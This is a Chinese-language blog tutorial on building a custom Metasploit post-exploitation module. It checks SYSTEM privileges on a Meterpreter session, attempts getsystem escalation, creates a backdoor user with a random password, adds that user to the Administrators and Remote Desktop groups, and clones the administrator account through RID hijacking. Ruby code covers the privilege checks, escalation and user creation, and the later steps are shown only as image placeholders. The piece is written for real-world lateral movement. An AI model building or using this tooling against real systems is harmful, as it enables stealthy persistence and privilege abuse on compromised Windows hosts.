打造定制化的Metasploit—克隆用户

君子藏器于身待时而动,安全不露圭角覆盂之安。

——AnonySec

https://payloads.cn

前言

在进行内网横向移动时,可以理解为后渗透过程,如何利用Metasploit打造后渗透模块,如何基于session进行操控?比如: 在当前会话上检查系统权限,或者添加用户等。最终解决实战中的需求:利用已获取session,创建登录账户,添加该账户到管理员与远程桌面组,并克隆administrator,从而替代clone.exe

编写后渗透模块

代码头部

仅需要在头部添加meterpreter会话的类型,该模块就可以在session上进行操控。

a38c3f0d2fdee99d22b06140c6cc96d5

检查会话权限

这里编写一个简单的模块,检查当前会话是否具有管理员权限,
引用lib/msf/core/post/windows/priv.rb中的is_admin?函数。

a3b4764792ff91c9d64e5a1c85d93ace

1
def run
2
    # 检查会话的特权
3
    print_status("Checking for SYSTEM privileges on session")
4
5
    admin_check = is_admin?
6
    if(admin_check)
7
        print_good("\tCurrent User Is Admin")
8
    else
9
        print_error("\tCurrent User is Not Admin")
10
    end
11
end

5d5f371dbda392f1ad8f0f9584f004f6

如果说权限不足,可以在当前session尝试提权,同时也是引用priv.rb。在Module options中可增加模块选项,进行设置。

1
register_options(
2
  [
3
    OptBool.new('GETSYSTEM', [true, 'Attempt to get SYSTEM privilege on the target host.', false]),
4
  ])

getsystemtrue时,运行如下定义:

1
def getsystem
2
    results = session.priv.getsystem
3
    if results[0]
4
      return true
5
    else
6
      return false
7
    end
8
end

61a66bcca215299246bdb033ba06a2d3

run主函数也可使用is_system?,对当前会话的系统权限检查。

61681e1917cf42c362d249c6689c7211

1
def run
2
    # 检查操作系统版本
3
    wver = sysinfo["OS"]
4
    print_status("Target OS: #{wver}")
5
    # 检查会话的特权,并在需要时尝试获得系统特权。
6
    print_status("Checking for SYSTEM privileges on session")
7
    if !is_system?
8
      if datastore['GETSYSTEM']
9
        print_status("Trying to get SYSTEM privileges")
10
        if getsystem
11
          print_good("\tGet SYSTEM privileges")
12
        else
13
          print_error("Could not obtain SYSTEM privileges")
14
          return
15
        end
16
      else
17
        print_error("Session is not running with SYSTEM privileges. Try setting GETSYSTEM ")
18
        return
19
      end
20
    else
21
      print_good("\tSession is already running with SYSTEM privileges")
22
    end
23
24
    return nil
25
end

检查当前会话权限与尝试提权的完整Demo:

69697e8373e1e942aa8dc9b0c6d1cd0f

添加用户

以上一个简单的Demo已经实现了当前会话的权限检查,之后编写利用当前session创建用户,并且在未设置密码时,可随机设置8位密码,增加一些复杂度。

1
def add_users
2
  if datastore['PASSWORD'].nil?
3
    # 创建随机8位密码
4
    datastore['PASSWORD'] = Rex::Text.rand_text_alphanumeric(6) + Rex::Text.rand_text_numeric(2)
5
    print_status("You have not set up a PASSWORD. The default is '#{datastore['PASSWORD']}'")
6
  end
7
  #  添加用户
8
  if enum_user.include? datastore['USERNAME']
9
    print_error("User '#{datastore['USERNAME']}' already exists.")
10
  else
11
    result = add_user(datastore['USERNAME'], datastore['PASSWORD'])
12
    if result['return'] == 0
13
      print_good "\tAdding User: #{datastore['USERNAME']} with Password: #{datastore['PASSWORD']}"
14
    else
15
      check_result(result)
16
    end
17
  end
18
end

a27953d945267f3de0078a081cf0f4a2

添加管理员与远程桌面组

创建完用户后,还需要将该用户添加管理员组,使该用户有更高的权限。并且在远程桌面时,可能也需要添加至远程桌面组。

该定义引用了post/windows/manage/enable_rdp部分代码。

78f72362f6149d490a42a80e0ccc608e

996e65e9f369fac5212036ff9306522a

克隆用户

这段代码的定义实际应用了Windows RID劫持技术,在实战中应用的更多的是Clone.exe,其原理大同小异。

4d6c82fb09dc98acf6fb71d756a6ecc3

Metasploit中的post/windows/manage/rid_hijack模块正是利用RID劫持技术实现了这一点。

最后,将以上讲述的代码与rid_hijack模块结合,便解决了文章开篇提出的实战需求:利用已获取session,创建登录账户,添加该账户到管理员与远程桌面组,并克隆administrator,从而替代clone.exe

1530e2d7ad9f97a42586615b2ef8c27a

References


xq